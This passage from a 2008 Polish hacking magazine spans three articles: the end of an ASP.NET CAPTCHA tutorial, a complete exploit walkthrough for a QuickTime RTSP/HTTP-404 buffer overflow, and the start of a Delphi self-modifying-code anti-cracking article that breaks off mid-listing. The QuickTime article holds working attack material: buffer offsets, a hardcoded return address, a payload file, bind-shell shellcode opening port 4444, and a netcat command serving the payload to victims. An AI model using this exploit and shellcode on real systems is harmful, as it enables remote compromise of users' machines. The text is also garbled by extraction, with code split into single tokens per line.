pliki klas najlepiej umieszczać w podkatalogu
App_Code katalogu projektu. Oczywiście
na potrzeby artykułu serwis będzie bardzo
prosty. Będzie składał się z dwóch stron:
Default.aspx i obrazek.aspx. Pierwsza z nich
jest standardową stroną WWW, natomiast
za pomocą drugiej wygenerujemy testowy

obrazek. Obrazek zwracany będzie jako
odpowiedź. Innym rozwiązaniem może być
tymczasowy zapis obrazka na dysku twardym
serwera, jednak przy sporym ruchu mogłoby
się okazać, że na dysku brakuje miejsca do
zapisu. Strona obrazek.aspx musi zawierać
kod obrazka testowego. Odpowiedni kod
umieścimy w metodzie zdarzeniowej

Page _

Load

(Listing 3.). Jest to jedynie przykład i

pod zmienną

tekst

powinno się podstawić

automatycznie wygenerowany ciąg o danej
długości. W artykule Automatyczna generacja
ciągów (Hakin9 5/2008) przedstawiłem jeden
ze sposobów otrzymania takiego ciągu.
Dalej generowany jest obiekt klasy

Captcha

.

Wygenerowany obrazek od razu zamieniamy
na strumień wyjściowy i pakujemy do formatu
JPEG. Na koniec dodajemy jeszcze zmienną
sesji, która przechowywać będzie tekst
umieszczony na obrazku. Strona Default.aspx
zawierać będzie jedynie cztery kontrolki:

Image1

,

TextBox1

,

Button1

i

Label1

(Listing 4.). Pierwsza z nich wyświetlać będzie
obrazek CAPTCHA. Jej własność

ImageUrl

ustawiamy na obrazek.aspx. Po kliknięciu
przycisku Button1 nastąpi sprawdzenie, czy

tekst wprowadzony do kontrolki

TextBox1

jest

taki sam, jak ten przechowywany w zmiennej
sesji

tekst

(Listing 5.). Serwis WWW w akcji

przedstawia Rysunek 2. Przeprowadźmy
jeszcze prosty test wygenerowanego obrazka.
Użyjemy do tego aplikacji FineReader 9.0 w
wersji Professional. Jest to jeden z najbardziej
popularnych programów typu OCR. Jedna z
jego opcji umożliwia skanowanie obrazków
zapisanych w najpopularniejszych formatach.
Obrazek CAPTCHA wygenerowany za
pomocą stworzonej klasy został zapisany na
dysku jako mapa bitowa. Został następnie
wczytany za pomocą programu FineReader,
po czym dokonano próby odczytania tekstu.
Wynik przedstawia Rysunek 3.

Program nie jest w stanie odczytać

tekstu z obrazka. Oczywiście ten test
należy traktować ostrożnie, ponieważ
FineReader jest zoptymalizowany specjalnie
do pracy biurowej. Pokazuje on jednak,
że standardowe algorytmy OCR w tym
przypadku zawodzą.

Problem odpowiedniego zabezpieczenia

wszelakiego rodzaju formularzy
rejestracyjnych przed automatami używanymi
przez spamerów to poważna sprawa.

Podsumowanie

W zeszłym roku ponad 97% wszystkich
wysłanych maili to niechciana poczta.
Automatyczne wpisy reklamowe na
forach internetowych nie przysparzają
ich administratorom chwały. Sondaże
przeprowadzane w Internecie mogą paść
ofiarą botów. Naturalnie test CAPTCHA
nie rozwiąże tych wszystkich problemów,
może jednak zmniejszyć ich skalę.
Dodatkowo możemy używać odpowiednich
filtrów. Przyznam się, że czasem mam
problemy z prawidłowym odczytaniem
tekstu z obrazka. Potrafi to zirytować wielu
użytkowników. Jednak jeśli może to pomóc
w ograniczeniu działalności spamerów,
warto poświęcić temu kilka sekund i nieco
wysilić swoje zmysły.

Listing 4.

Strona Default.aspx

<%

@

Page

Language

=

"C#"

AutoEventWireup

=

"true"

CodeFile

=

"Default.aspx.cs"

Inherits

=

"_

Default"

%>

<!

DOCTYPE

html

PUBLIC

"

-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/

xhtml1/DTD/xhtml1-transitional.dtd">

<

html

xmlns

=

"http://www.w3.org/1999/xhtml"

>

<

head

runat

=

"server"

>

<

title

>

Untitled

Page

<

/

title

>

<

/

head

>

<

body

>

<

form

id

=

"form1"

runat

=

"server"

>

<

div

>

<

asp

:

Image

ID

=

"Image1"

runat

=

"server"

ImageUrl

=

"obrazek.aspx"

/

>&

nbsp

;<

br

/

>

<

asp

:

TextBox

ID

=

"TextBox1"

runat

=

"server"

><

/

asp

:

TextBox

>

<

asp

:

Button

ID

=

"Button1"

runat

=

"server"

OnClick

=

"Button1_Click"

Text

=

"Sprawdź!"

/

>

<

br

/

>

<

asp

:

Label

ID

=

"Label1"

runat

=

"server"

BackColor

=

"White"

Font

-

Bold

=

"True"

Font

-

Size

=

"Larger"

Text

=

"Label"

><

/

asp

:

Label

><

/

div

>

<

/

form

>

<

/

body

>

<

/

html

>

Listing 5.

Metoda zdarzeniowa Button1_Click

protected

void

Button1_Click

(

object

sender

,

EventArgs

e

)

{

string

pass

=

Session

[

"tekst"

]

.

ToString

();

if

(

TextBox1

.

Text

==

pass

)

Label1

.

Text

=

"Nie jesteś botem !"

;

else

Label1

.

Text

=

"Jesteś botem !!!"

;

}

Sławomir Orłowski

Z wykształcenia fizyk. Obecnie jest doktorantem na

Wydziale Fizyki, Astronomii i Informatyki Stosowanej

Uniwersytetu Mikołaja Kopernika w Toruniu. Zajmuje się

symulacjami komputerowymi układów biologicznych

(dynamika molekularna) oraz bioinformatyką.

Programowanie jest nieodzowną częścią jego

pracy naukowej i dydaktycznej. Ma doświadczenie w

programowaniu w językach C, C++, Delphi, Fortran, Java,

C# i Tcl. Współzałożyciel i koordynator grupy .NET WFAiIS.

Jest autorem artykułów i książek informatycznych.

Strona domowa: http://www.fizyka.umk.pl/~bigman/.

Kontakt z autorem: bigman@fizyka.umk.pl

background image

20

HAKIN9

ATAK

6/2008

P

rodukty multimedialne firmy Apple już
od dawna są obecne wśród szerokich
rzeszy użytkowników komputerów.

Umożliwiają one odtwarzanie wielu formatów
plików multimedialnych w sposób łatwy i
wygodny, oferując przy tym przyjazny dla
oka interfejs. Dodatkowym atutem programu
QuickTime jest fakt, iż może być on użyty jako
plugin przeglądarki internetowej, co pozwoli nam
oglądać multimedia bezpośrednio na stronie
WWW. Nie zapominajmy też o stworzonym
właśnie z myślą o QuickTime formacie plików,
które mogą być odtwarzane tylko w tej aplikacji.

Mimo licznych zalet, oprogramowanie

to – jak wiele innych aplikacji – ma jedną
zasadniczą wadę, mianowicie znajdowane są
w nim błędy związane z kwestią, która powinna
być oczkiem w głowie każdego internauty –
bezpieczeństwem jego komputera. Tym razem
nie będzie inaczej. QuickTime – aplikacja,
która może działać samodzielnie, jak również
jako część pakietu iTunes – jest podatna na
atak związany z przepełnieniem bufora. Jak
nietrudno się domyślić, umożliwia to wykonanie
dowolnego kodu na komputerze ofiary. Na
dokładkę wszystko odbywa się zdalnie, za
pośrednictwem Internetu.

Protokół RTSP

Jak mówi definicja protokołu RTSP,
zaprojektowano go do użycia przez
strumieniowe aplikacje multimedialne. Brzmi

KONRAD ZUWAŁA

Z ARTYKUŁU

DOWIESZ SIĘ

jak wykorzystać lukę związaną

z przepełnieniem bufora w

aplikacjach Apple korzystających

z programu QuickTime,

co można zrobić w celu poprawy

bezpieczeństwa tych aplikacji.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawy działania ataków

typu buffer overflow,

umieć obsługiwać system

Windows z poziomu wiersza

poleceń,

znać podstawy protokołu HTTP.

skomplikowanie, jednak w rzeczywistości jest
prostsze, aniżeli wydaje się być na pierwszy
rzut oka. RTSP (ang. Real Time Streaming
Protocol, czyli Protokół Strumieniowania Czasu
Rzeczywistego) jest protokołem bazującym na
komunikacji typu klient – serwer. Umożliwia on
pracę z plikami multimedialnymi, do których
uzyskujemy zdalny dostęp za pomocą klienta
takiego protokołu, np. QuickTime. Protokół ten
– mimo, iż powszechnie używany – jest dopiero
w fazie rozwoju; ciągle proponowane są nowe
udoskonalenia i opcje, które mają go uczynić
bardziej wszechstronnym i niezawodnym.

RTSP jest protokołem, który może do

przesyłania danych używać zarówno protokołu
TCP, jak i UDP. Założeniem jego twórców
było udostępnienie pewnego mechanizmu
kontroli wielu sesji transmisji danych – tak, aby
komunikacja przebiegała w należytej kolejności,
z zachowaniem szybkości i niezawodności
transmisji.

Protokół ten ma pełnić funkcję czegoś

w rodzaju pilota sterującego strumieniami
danych multimedialnych, które są aktualnie
przesyłane. Więcej na temat teoretycznej
strony działania opisywanego protokołu
można znaleźć pod adresami wskazanymi
w ramce W Sieci. My jednak zajmiemy się
praktycznym wykorzystaniem tych informacji
– kompromitacją QuickTime.

Usługa serwera tego protokołu działa

zwykle na porcie 554, jednak, gdy aplikacja

Stopień trudności

Hakowanie

QuickTime’a

Apple zdobył sobie zasłużoną sławę producenta multimediów.

QuickTime jest jednym z jego flagowych produktów, który cieszy

się dobrą sławą. Odkryto jednak błąd, który pozwala zaatakować

QuickTime’a.

background image

21

HAKIN9

HAKOWANIE QUICKTIME’A

6/2008

taka jak QuickTime nie będzie mogła
połączyć się z tym portem, ponieważ
będzie on zamknięty, spróbuje ona
wybrać port http (czyli 80) jako domyślny
port połączenia. Aby zmusić aplikację
Apple'a do połączenia się z serwerem
RTSP, wystarczy w przeglądarce kliknąć
odnośnik do strony opisany URLem
wywołującym ten protokół, np. rtsp:
//jakasStrona.com/plik.mp3
. Przykładowa
strona może wyglądać tak, jak ta
zaprezentowana na Listingu 1.

Znając już podstawy działania

protokołu RTSP, jesteśmy w stanie
przejść do dalszej części układanki,
mianowicie przepełnienia bufora
związanego właśnie z obsługą tego
protokołu.

RTSP, HTTP, czyli jak

przepełnić bufor QuickTime

Problem w QuickTime, odkryty
przez Luigi'ego Auriemma, polega
na zachowaniu tegoż programu w
przypadku, gdy wywołujemy połączenie
z serwerem RTSP, jednak ten nie
nasłuchuje na porcie 554. Zgodnie
z tym, co było napisane wcześniej,
QuickTime w takiej sytuacji podejmuje
próbę połączenia na porcie 80. Jest
to domyślny port protokołu HTTP,
tak więc aplikacja przełącza się
właśnie na HTTP, wkraczając tym
samym na dość niepewny grunt.
Przepełnienie bufora następuje wtedy,
gdy za pomocą protokołu HTTP do
programu zostaje wysłany kod błędu
404 (strony nie znaleziono). Jest on
niepoprawnie obsługiwany przez
aplikację, umożliwiając dokonanie
ataku związanego z przepełnieniem
bufora. A przepełnienie bufora zwykle
pozwala nam wykonać dowolny kod
na komputerze ofiary – to jest właśnie
naszym celem.

Przepełnienie bufora następuje wtedy,

gdy nasz spreparowany serwer HTTP
wyśle kod błędu 404. Zła implementacja
obsługi tego kodu w QuickTime
sprawia, że jesteśmy w stanie nadpisać
4–bajtowym ciągiem adres powrotu z
funkcji. Dzięki temu możemy wstawić w to
miejsce adres, w którym znajduje się nasz
shellcode. Demonstruje to Rysunek 2.

Jak widać z tego schematu, zasada

działania naszego exploita będzie

dość prosta. Wystarczy, że nadpiszemy
odpowiedni adres w pamięci – tak, aby
wykonanie programu przeskoczyło do
naszego shellcodu. Shellcode powinien
więc znajdować się w miejscu w
pamięci, które będzie nam znane i do
którego będziemy w stanie się odwołać
za pośrednictwem asemblerowej
instrukcji

JMP adresShellcode

. Sam

shellcode musi być tak skonstruowany,
aby mieścił się w buforze, do którego
zamierzamy go wkleić, winien również
przynosić nam wymierne korzyści
w postaci np. otwarcia powłoki na
zadanym porcie.

Warto wspomnieć, iż nie jest to

klasyczny atak przepełnienia bufora, który
zwykle ma miejsce, gdy nadpisywany
jest adres powrotu znajdujący się
na stosie. My staramy się nadpisać
adres, który znajduje się w rejestrze
procesora, a w klasycznej definicji

przepełnienia bufora złośliwy adres jest
po prostu kładziony na stosie – tak, aby
asemblerowe wywołanie

RET

pobrało

nie adres właściwej funkcji, tylko adres
shellcode.

Budujemy exploit

Zanim przystąpimy do rzeczywistej
budowy exploita, musimy najpierw
poznać pełne założenia niezbędne do
jego prawidłowego działania. Adres
w pamięci, który musimy nadpisać,
położony jest dokładnie 1926 bajtów
od miejsca, w którym wyświetlana jest
wiadomość o błędzie, znajdująca się
z kolei 486 bajtów przed początkiem
bufora, który przyjmie spreparowane
przez nas dane. Dostajemy więc 1440
bajtów, które mogą być dowolnym
ciągiem śmieci, zaczynającym się
oczywiście od znaków

HTTP/1.1 404

.

Po ciągu śmieci winien znajdować się

Rysunek 1.

Program iTunes – pakiet multimedialny Apple korzystający z QuickTime

Listing 1.

Przykładowa strona z odwołaniem do serwera RTSP

<

HTML

>

<

BODY

>

<

A HREF=”rtsp://jakasStrona.com/piosenka.mp3”

>

Strona rtsp

<

/A

>

<

/BODY

>

<

/HTML

>

background image

ATAK

22

HAKIN9 6/2008

23

HAKIN9

6/2008

HAKOWANIE QUICKTIME’A

czterobajtowy adres, który – w wyniku
naszej exploitacji – zostanie zapisany
do rejestru EAX procesora atakowanej
maszyny. Zawartość rejestru EAX będzie
wskazywać na adres w pamięci miejsca,
w którym nastąpiło przepełnienie, tak
więc nasz shellcode powinien znajdować
się dokładnie 4 bajty za tym miejscem
– tyle zajmują 32 bity adresu, który
skopiujemy do rejestru EAX. Następnie
w programie wywoływana jest instrukcja

JMP EAX

. Autor celowo nie zachowuje

składni odpowiedniej dla któregoś
z asemblerów, pozostawiając jego
wybór Czytelnikowi – czy polecenie
będzie wyglądać tak, czy też np.

JMP

%EAX

, zależeć będzie od używanego

asemblera.

Adres w pamięci, od którego musimy

odliczyć rzeczone 1926 bajtów, to
szesnastkowo 0x6761d559. Dodatkowo
– dla bezpieczeństwa – shellcode
winien zaczynać się od 4–bajtowego
ciągu instrukcji

NOP

, co pomoże choćby

w przypadku, gdybyśmy zrobili błąd
w obliczeniach i np. nie uwzględnili
rozmiaru adresu nadpisania. Po tym
ciągu winien następować docelowy kod
shellcode, który zostanie wykonany na
maszynie ofiary.

Listing 2. demonstruje, jak winien

wyglądać plik, który wyślemy ofierze za
pomocą protokołu HTTP. Zaczyna się
od ciągu informującym o napotkaniu
błędu, dalej następuje ciąg śmieci
mających na celu przepełnić bufor.
Warto wspomnieć, że ciąg śmieci może
być dowolnym znakiem drukowalnym
– nie można używać znaków NULL ani
znaków specjalnych ASCII (powrotu
karetki, nowego wiersza, wcięcia etc).
Po ciągu śmieci napotykamy na adres

w pamięci, który wskazuje na nasz
shellcode – adres bazowy + offset,
czyli łącznie 1930 bajtów (pamiętajmy,
że sam adres też zajmuje miejsce w
pamięci). Teraz pora na shellcode, który
jest oczywiście skompilowany do postaci
binarnej. Zaczyna się on od 4–bajtowego
ciągu NOPów (jak wspominałem
wyżej – pełniących rolę dodatkowego
zabezpieczenia dla prawidłowego
zadziałania złośliwego kodu). Gotowy
shellcode możemy pobrać z Internetu lub
też stworzyć samodzielnie za pomocą

np. biblioteki InlineEgg, opisywanej
we wcześniejszych numerach Hakin9.
Przykładowy shellcode otwierający
powłokę na porcie 4444 zaprezentowany
jest na Listingu 3.

Pozostaje jeszcze tylko jeden

problem – w jaki sposób przesłać tak
spreparowany plik do ofiary? Z pomocą
przychodzi nam niezawodny program
netcat, który możemy uruchomić w trybie
serwera nasłuchującego na danym
porcie, tak, aby zaraz po połączeniu się
z tym portem wysłał spreparowany przez

Rysunek 2.

Schemat przepełnienia bufora

QuickTime

początek bufora

nadpisany adres powrotu z funkcji

segment pamięci zawierający shellcode

Rysunek 3.

QuickTime pod debuggerem IDA

Rysunek 4.

Zdalna powłoka na komputerze ofiary - udana exploitacja

W Sieci:

http://tools.ietf.org/html/rfc2326 – opis protokołu RTSP,
http://www.us-cert.gov/reading_room/securing_browser – zabezpieczanie przeglądarki

Internetowej przed atakami opisanego typu,

http://www.apple.com/quicktime – strona domowa programu QuickTime.

background image

ATAK

22

HAKIN9 6/2008

23

HAKIN9

6/2008

HAKOWANIE QUICKTIME’A

nas plik do ofiary i zakończył połączenie.
Opisywane wywołanie programu netcat
zaprezentowane jest na Listingu 4.
Oczywiście, do poprawnego działania
netcata wymagane jest odblokowanie
portu na firewallu i posiadanie praw
administratora – uruchomienie usługi
na porcie niższym niż 1024 jest zwykle
ograniczane przez używany system
operacyjny, naturalnie ze względów
bezpieczeństwa.

Jak się zabezpieczyć?

Opisywana podatność dotyczy
QuickTime w wersji niższej bądź równej
7.3.1.70, na systemach operacyjnych
Windows bądź Mac. Linux po raz kolejny

okazał się być odpornym na podobnego
rodzaju ataki. Na dzień pisania artykułu
nie istniała żadna łata umożliwiająca
wyeliminowanie błędu. Pozostaje więc
pytanie, w jaki sposób zabezpieczyć się
przed tego typu atakiem?

Metod jest kilka – jednak im

bardziej chcemy być bezpieczni, tym
bardziej ograniczymy dostępną dla nas
funkcjonalność. Podstawową metodą
jest z pewnością zablokowanie protokołu
RTSP w przeglądarce internetowej
bądź korzystanie z serwera proxy, który
automatycznie blokuje tenże protokół.
Użytkownicy jeszcze bardziej wrażliwi
na punkcie swojego bezpieczeństwa
mogą w ogóle odinstalować z systemu

oprogramowanie QuickTime (a co
za tym idzie, również iTunes, które
używa QuickTime). Z pewnością nie
jest to jednak najlepszy pomysł, gdyż
pozbywanie się ulubionego programu
do odtwarzania multimediów z powodu
wykrycia w nim błędu mija się nieco
z celem – gdyby postępować w ten
sposób, musielibyśmy pewnie w ogóle
zaprzestać korzystania z komputera,
albowiem ciągle wykrywane są nowe
błędy w oprogramowaniu.

Zablokowanie pluginu QuickTime

w przeglądarkach z rodziny Mozilla
(bądź formantu ActiveX w Internet
Explorerze) powinno uchronić nas przed
następstwami używania dziurawego
QuickTime, jednak znów mamy tu do
czynienia ze znaczącym ograniczeniem
naszego komfortu i funkcjonalności
wykorzystywanego komputera.
Pozostaje więc mieć nadzieję, że patch
naprawiający opisany błąd wkrótce
pojawi się na stronach Apple.

Podsumowanie

Opisana w artykule luka w
oprogramowaniu Apple pozwala na
uruchomienie praktycznie dowolnego
kodu na komputerze nieświadomego
użytkownika, co może prowadzić do
przykrych konsekwencji. Nawet w
programach takich, jak QuickTime,
które z pozoru wydają się być mało
atrakcyjnym celem dla atakującego,
znajdowane są błędy, które pozwalają
na zdalne wykonanie złośliwego
kodu. Słusznymi więc wydają się
być podstawowe zasady, których
przestrzeganie zagwarantuje nam tak
pożądane bezpieczeństwo: korzystanie
do codziennego użytku z konta
innego niż administracyjne, używanie
tylko pewnego oprogramowania i
omijanie witryn, które nie wzbudzają
w nas należytego zaufania. Pozostaje
więc mieć nadzieję, że Czytelnik,
omijając nieznane strony internetowe z
odnośnikami rtsp://, nie stanie się ofiarą
takiego ataku.

Listing 2.

Plik – zasadzka

HTTP/1.1 404
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxx

// litera x powtarza się 1440 razy – ciąg śmieci
// w tym miejscu skompilowane adres w pamięci i shellcode:
0x6761DCE3 // 0x6761d559 + 0x786 + 0x4
//shellcode jest oczywiście skompilowany binarnie
NOP NOP NOP NOP
docelowyKod

Listing 3.

Shellcode uruchamiający powłokę na porcie 4444

char

shellcode

[]=

"

\x

90

\x

90

\x

90

\x

90"

//

4

-

bajtowy

ci

ą

g

nop

ó

w

"

\x

33

\x

c9

\x

83

\x

e9

\x

b0

\x

d9

\x

ee

\x

d9

\x

74

\x

24

\x

f4

\x

5b

\x

81

\x

73

\x

13

\x

af"

"

\x

99

\x

e8

\x

2f

\x

83

\x

eb

\x

fc

\x

e2

\x

f4

\x

53

\x

f3

\x

03

\x

62

\x

47

\x

60

\x

17

\x

d0"

"

\x

50

\x

f9

\x

63

\x

43

\x

8b

\x

bd

\x

63

\x

6a

\x

93

\x

12

\x

94

\x

2a

\x

d7

\x

98

\x

07

\x

a4"

"

\x

e0

\x

81

\x

63

\x

70

\x

8f

\x

98

\x

03

\x

66

\x

24

\x

ad

\x

63

\x

2e

\x

41

\x

a8

\x

28

\x

b6"

"

\x

03

\x

1d

\x

28

\x

5b

\x

a8

\x

58

\x

22

\x

22

\x

ae

\x

5b

\x

03

\x

db

\x

94

\x

cd

\x

cc

\x

07"

"

\x

da

\x

7c

\x

63

\x

70

\x

8b

\x

98

\x

03

\x

49

\x

24

\x

95

\x

a3

\x

a4

\x

f0

\x

85

\x

e9

\x

c4"

"

\x

ac

\x

b5

\x

63

\x

a6

\x

c3

\x

bd

\x

f4

\x

4e

\x

6c

\x

a8

\x

33

\x

4b

\x

24

\x

da

\x

d8

\x

a4"

"

\x

ef

\x

95

\x

63

\x

5f

\x

b3

\x

34

\x

63

\x

6f

\x

a7

\x

c7

\x

80

\x

a1

\x

e1

\x

97

\x

04

\x

7f"

"

\x

50

\x

4f

\x

8e

\x

7c

\x

c9

\x

f1

\x

db

\x

1d

\x

c7

\x

ee

\x

9b

\x

1d

\x

f0

\x

cd

\x

17

\x

ff"

"

\x

c7

\x

52

\x

05

\x

d3

\x

94

\x

c9

\x

17

\x

f9

\x

f0

\x

10

\x

0d

\x

49

\x

2e

\x

74

\x

e0

\x

2d"

"

\x

fa

\x

f3

\x

ea

\x

d0

\x

7f

\x

f1

\x

31

\x

26

\x

5a

\x

34

\x

bf

\x

d0

\x

79

\x

ca

\x

bb

\x

7c"

"

\x

fc

\x

ca

\x

ab

\x

7c

\x

ec

\x

ca

\x

17

\x

ff

\x

c9

\x

f1

\x

f9

\x

73

\x

c9

\x

ca

\x

61

\x

ce"

"

\x

3a

\x

f1

\x

4c

\x

35

\x

df

\x

5e

\x

bf

\x

d0

\x

79

\x

f3

\x

f8

\x

7e

\x

fa

\x

66

\x

38

\x

47"

"

\x

0b

\x

34

\x

c6

\x

c6

\x

f8

\x

66

\x

3e

\x

7c

\x

fa

\x

66

\x

38

\x

47

\x

4a

\x

d0

\x

6e

\x

66"

"

\x

f8

\x

66

\x

3e

\x

7f

\x

fb

\x

cd

\x

bd

\x

d0

\x

7f

\x

0a

\x

80

\x

c8

\x

d6

\x

5f

\x

91

\x

78"

"

\x

50

\x

4f

\x

bd

\x

d0

\x

7f

\x

ff

\x

82

\x

4b

\x

c9

\x

f1

\x

8b

\x

42

\x

26

\x

7c

\x

82

\x

7f"

"

\x

f6

\x

b0

\x

24

\x

a6

\x

48

\x

f3

\x

ac

\x

a6

\x

4d

\x

a8

\x

28

\x

dc

\x

05

\x

67

\x

aa

\x

02"

"

\x

51

\x

db

\x

c4

\x

bc

\x

22

\x

e3

\x

d0

\x

84

\x

04

\x

32

\x

80

\x

5d

\x

51

\x

2a

\x

fe

\x

d0"

"

\x

da

\x

dd

\x

17

\x

f9

\x

f4

\x

ce

\x

ba

\x

7e

\x

fe

\x

c8

\x

82

\x

2e

\x

fe

\x

c8

\x

bd

\x

7e"

"

\x

50

\x

49

\x

80

\x

82

\x

76

\x

9c

\x

26

\x

7c

\x

50

\x

4f

\x

82

\x

d0

\x

50

\x

ae

\x

17

\x

ff"

"

\x

24

\x

ce

\x

14

\x

ac

\x

6b

\x

fd

\x

17

\x

f9

\x

fd

\x

66

\x

38

\x

47

\x

5f

\x

13

\x

ec

\x

70"

"

\x

fc

\x

66

\x

3e

\x

d0

\x

7f

\x

99

\x

e8

\x

2f"

;

Listing 4.

Wywołanie programu netcat w trybie serwera

nc -l -p 80 -v -v -n < ourPreparedFile.txt

Konrad Zuwała

Autor zajmuje się bezpieczeństwem aplikacji

internetowych oraz szeroko rozumianą ochroną

systemów komputerowych. W wolnych chwilach

programuje (głównie C/C++, PHP) oraz zarządza

portalem internetowym.

Kontakt z autorem: kzuwala@poczta.onet.pl

background image

24

HAKIN9

ATAK

6/2008

P

odstawowym zabezpieczeniem jest
utrudnienie deasemblacji i analizy
newralgicznych fragmentów kodu aplikacji

odpowiedzialnych za realizację algorytmu
generującego klucze aktywacyjne i ich weryfikację.
Podstawową metodą utrudnienia analizy kodu jest
zastosowanie techniki SMC (ang. self modifying
code), czyli samomodyfikującego się kodu.
Ogólnie polega ona na dynamicznej generacji
kodu podczas wykonywania programu i jego
modyfikacji. Stosuje się też szyfrowanie kodu i
jego deszyfrowanie w locie.

Artykuł porusza kwestię zabezpieczania plików
wykonywalnych przed odkrywaniem przez osoby
nieuprawnione algorytmów do szyfrowania i
generowania kluczy, zabezpieczających aplikacje
Windows napisane w środowisku Delphi.
Podstawowym zabezpieczeniem jest utrudnienie
deasemblacji i analizy newralgicznych fragmentów
kodu aplikacji odpowiedzialnych za realizację
algorytmu generującego klucze aktywacyjne i
ich weryfikację. Podstawową metodą utrudnienia
analizy kodu jest zastosowanie techniki SMC (ang.
self modifying code), czyli samomodyfikującego
się kodu. Ogólnie polega ona na dynamicznej
generacji kodu podczas wykonywania programu i
jego modyfikacji. Stosuje się też szyfrowanie kodu i
jego deszyfrowanie w locie.

W artykule przedstawiam przykładową

aplikację Delphi z prostym generatorem kluczy
napisanym w technice

SMC

. Aby zrozumieć

przykładowy kod, trzeba znać podstawy języka

ARTUR KOZUBSKI

Z ARTYKUŁU

DOWIESZ SIĘ

co to jest technika SMC i jak ją

stosować do ochrony swoich

aplikacji,

jak stosować wbudowany

asembler Delphi do pisania

samomodyfikującego się kodu,

jak wykorzystać debugger Delphi

do śledzenia programu na

poziomie CPU.

CO POWINIENEŚ

WIEDZIEĆ

posiadać podstawową

znajomość środowiska Delphi i

języka Object Pascal,

mieć ogólne pojęcie o

architekturze x86,

znać podstawy asemblera x86

(dodatkowa ramka może być

pomocna dla osób nieznających

asemblera).

Obejct Pascal oraz asemblera

x86

, który

umożliwia napisanie samomodyfikującego
się kodu. Zastosowana metoda

SMC

jest

mieszanką technik przedstawionych w
ramce Charakterystyka

SMC

. Nie jest to więc

ściśle klasyfikowalny przykład SMC, ale mój
własny pomysł, na który wpadłem jeszcze
przed głębszym zainteresowaniem się tym
zagadnieniem i poznaniem klasycznych
metod

SMC

. Można stwierdzić, że jest to

przykład zaawansowanego polimorfizmu z
elementami metamorficznymi. Od klasycznej
metody polimorficznej odróżnia go m.in. brak
szyfrowania całego kodu, a jedynie zastosowanie
we właściwym kodzie metod utrudniających
zrozumienie funkcji deszyfrującej w typowej
metodzie polimorficznej. Zastosowałem
zatem wymienione metody bezpośrednio do
generatora klucza, zamiast do ewentualnego
kodu szyfrującego ten generator. Przykładem
metamorfizmu mogą być składane w locie
niektóre instrukcje i przemieszczanie ich w
pamięci oraz zmiana zawartości segmentu kodu
generatora przy każdej iteracji w głównej pętli.

Zasada działania przykładowego

programu

Program pobiera dwa łańcuchy wejściowe.
Pierwszy jest właściwym tekstem podlegającym
zakodowaniu i późniejszej weryfikacji, drugi jest
losowym łańcuchem dowolnych znaków (o
długości równej łańcuchowi podstawowemu).

Stopień trudności

Kod w Delphi

– zmora

crackera

Artykuł porusza kwestię zabezpieczania plików wykonywalnych

przed odkrywaniem przez osoby nieuprawnione algorytmów do

szyfrowania i generowania kluczy, zabezpieczających aplikacje

Windows napisane w środowisku Delphi.

background image

25

HAKIN9

KOD W DELPHI – ZMORA CRACKERA

6/2008

Następnie łączy te dwa łańcuchy według
odpowiedniego algorytmu zakodowanego
w asemblerze z wykorzystaniem SMC.

Przykładowy wynik działania

algorytmu jest przedstawiony w ramce.
Do odszyfrowania wymagany jest

oczywiście łańcuch wyjściowy i użyty
do jego wygenerowania losowy
klucz. Wersja podstawowa, napisana
tylko w języku Pascal – bez użycia
wstawek asemblerowych

SMC

, jest

przedstawiona na Listingu 1. Kod
pozwala też na zapoznanie się z
zastosowanym w przykładzie prostym
algorytmem szyfrującym. Zakodowanie
tekstu wejściowego polega na
wygenerowaniu – przy pomocy
funkcji

SMC _ GenHashStr(StrLen:

Integer)

– losowego klucza, będącego

łańcuchem tekstowym o długości
równej kodowanemu łańcuchowi,
składającym się ze znaków o kodach
od 0 do 255 i połączeniu go za
pomocą operacji różnicy symetrycznej
(XOR) z łańcuchem wejściowym.
Operacja XOR jest wykonywana na
różnicy delta, zwiększonej o bieżącą

Listing 1.

Funkcja szyfrująca w wersji bez wstawek asemblerowych i SMC

{ Funkcja pomocnicza – zamienia podany bajt na zapis szesnastkowy z wiodącym zerem }

function

SMC_Byte2HexStr15

(

Num

:

Byte

):

Char

;

begin

if

(

Num

>=

0

)

and

(

Num

<=

9

)

then

SMC_Byte2HexStr15

:=

Chr

(

Ord

(

'0'

)

+

Num

)

else

SMC_Byte2HexStr15

:=

Chr

(

Ord

(

'A'

)

+

Num

-

10

);

end

;

{ Funkcja pomocnicza – zamienia podany znak zapisu szesnastkowego na liczbę całkowitą

}

function

SMC_HexStr2Integer15

(

HexChar

:

Char

):

Integer

;

begin

if

(

HexChar

>=

'0'

)

and

(

HexChar

<=

'9'

)

then

SMC_HexStr2Integer15

:=

Ord

(

HexChar

)

-

Ord

(

'0'

)

else

SMC_HexStr2Integer15

:=

Ord

(

HexChar

)

-

Ord

(

'A'

)

+

10

;

end

;

{ Pomocnicza funkcja generująca losowy łańcuch tekstowy o zadanej długości }

function

SMC_GenHashStr

(

StrLen

:

Integer

):

AnsiString

;

var

i

:

Integer

;

outStr

:

AnsiString

;

begin

SetLength

(

outStr

,

StrLen

);

Randomize

();

for

i

:=

1

to

StrLen

do

outStr

[

i

]

:=

Chr

(

Random

(

256

));

SMC_GenHashStr

:=

outStr

;

end

;

{ Funkcja szyfrująca – wersja bez zastosowania SMC
InputStr – łańcuch wejściowy przeznaczony do zakodowania
HashStr – losowy łańcuch pełniący rolę klucza szyfrowania }

function

EncryptStr

(

InputStr

,

HashStr

:

AnsiString

):

AnsiString

;

var

i

,

delta

,

EncVal

:

Integer

;

Char1

,

Char2

:

Char

;

HexStr

:

AnsiString

;

outStr

:

AnsiString

;

begin

outStr

:=

''

;

if

Length

(

InputStr

)

<>

Length

(

HashStr

)

then

Exit

;

SetLength

(

HexStr

,

8

);

for

i

:=

1

to

Length

(

InputStr

)

do

begin

Char1

:=

InputStr

[

i

];

Char2

:=

HashStr

[

i

];

{ Obliczenie wartości wyjściowej }

delta

:=

Ord

(

Char1

)

Ord

(

Char2

);

EncVal

:=

(

delta

+

i

)

xor

Ord

(

Char2

);

{ Zamiana obliczonej wartości wyjściowej na zapis szesnastkowy (jako liczby 32-

bitowej) }

HexStr

[

1

]

:=

SMC_Byte2HexStr15

(

EncVal

and

